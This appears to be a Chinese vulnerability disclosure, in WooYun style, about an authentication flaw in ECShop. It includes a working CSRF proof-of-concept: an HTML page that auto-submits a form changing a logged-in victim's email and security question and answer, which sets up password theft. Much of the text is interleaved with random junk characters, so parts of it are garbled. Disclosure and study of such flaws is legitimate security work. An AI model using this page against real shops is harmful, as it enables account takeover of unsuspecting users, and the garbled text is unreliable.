简要描述:
* {6 |! e: @0 f9 Eecshop在设计认证机制的时候存在一个问题,导致恶意用户可以窃取其他用户的密码,这个过程可以通过xss和csrf实现
7 V) H2 s# U' n* }' Q0 y8 |
7 B, }! T/ C- SDemo For:http://www.wooyun.org/bug.php?action=view&id=395) L: q, Y$ j7 e9 L4 a
8 n) R. d8 Q7 X7 _- F5 P8 c
详细说明:
* G9 X% ?$ @2 i. z% h% i6 J; {5 \, s利用csrf和xss可以突破官方所说的“障碍”6 I5 V+ }* i3 B- I L ]
xss版本已经有人说明
+ G4 o; k0 F3 t- X( u: N这里给出csrf版本) u+ N4 C- B# j. y$ z3 g7 A
" [9 |3 m0 c* }% v* M
漏洞证明:
, Q4 }- w3 H8 j<html>3 H0 T' z" n. | W5 a# y
<body>
/ G/ u! |3 C! K' u N* Y% s8 i<form action="http://www.wooyun.org/ecshop/user.php" method="POST">$ O$ q4 f. v# y( d% o) y3 d
<INPUT TYPE="text" NAME="email" value="hack@wooyun.org">3 v! c( x8 {; O/ d; @/ `
<INPUT TYPE="text" NAME="act" value="act_edit_profile">4 S4 ^, p% M, J. @/ U
<INPUT TYPE="text" NAME="sel_question" value="ecshop">
, w! r0 _0 [9 K* R<INPUT TYPE="text" NAME="passwd_answer" value="exploit">0 c6 ]# l" s6 c
</body>
1 K' N9 h' k/ k% C3 a* z<script>
' Q( W- ?( G2 }document.forms[0].submit();
" }* ]" m8 H8 h</script>9 t: Z! d8 a$ y, r5 a" U* W) B
</html>
, S0 X! U' P- m6 ~ _( d" }构造该网页,用户在登录情况下访问该网页将导致email以及一些其他安全信息丢失9 H& V: d: u: P" B8 a. b+ z3 P h
9 F( D+ j. l( J' J1 r6 T- s) i |